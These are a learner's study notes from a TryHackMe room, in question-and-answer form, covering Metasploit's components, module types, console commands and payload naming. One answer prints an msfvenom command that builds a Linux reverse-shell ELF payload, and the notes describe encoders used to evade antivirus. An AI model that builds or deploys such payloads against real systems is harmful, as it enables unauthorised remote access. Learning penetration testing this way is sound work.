THM 1/5/2023 - Metasploit and Msfvenom

Question 1

What are the 3 main components of the Metasploit Framework?

Answer 1

msfconsole
Modules
Tools

Question 2

Define the following Modules
1) Auxilliary
2) Encoders
3) Evasion
4) Exploits
5) NOPs
6) Payload w/ 3 types
7) Post

Answer 2

Aux - Scanners, crawlers, fuzzers

Encoders - encode exploits and payload in the hope AV misses them

Evasion - Direct way to avoid AV

Exploits - self-explained

NOPs - Instruct the CPU to do nothing for one cycle; Used as a buffer to achieve consistent payload size

Payloads - Code that will run on the target system;
Type I - Singles: self-contained payload; no additional component or download needed
Type II - Stagers: responsible when setting up a connection; works well with Staged payloads
Type III - Stages: Downloaded by the Stager to allow you to use larger sized payloads

Post: Actions to do post exploitation

Question 3

Define the following commands
use
show
search
back
set
setg
unset
unsetg
exploit/run
background
sessions
help

Answer 3

use
show - list all modules
info - show more info about a module
search - conduct searches using CVE numbers, exploit names, or target system
back - go back/unselect a module
set/setg : set a variable / global variable
exploit/run : run module
background : send a session to the background and back to msfconsole
sessions : view background sessions
sessions -i # to bring forward a active session
help

Question 4

What does ranking mean in metasploit?

Answer 4

Reliability of exploits

Question 5

Identify what this command does

msfvenom -p linux/x64/shell_reverse_TCP -f elf -o shell.elf lhost=[IP goes here] lport=[listen port goes here]

What difference does this make?
“linux/x64/shell_reverse_TCP vs linux/x64/shell/reverse_TCP”

Answer 5

-p = Payload
-f = file type
-o = name of output file

shell_ vs shell/
shell_ = this payload is all in one “stageless”
shell/ = this payload is part of a staged attack

Question 6

Explain what each of these mean in a console?

msf6>
meterpreter>

Answer 6

msf[#] - metasploit main console for all things metasploit

meterpreter - A shell gained on target console after attack

Question 7

what is msvenom payload naming convention?

Answer 7

<os>/<arch>/<payload>
</payload></arch></os>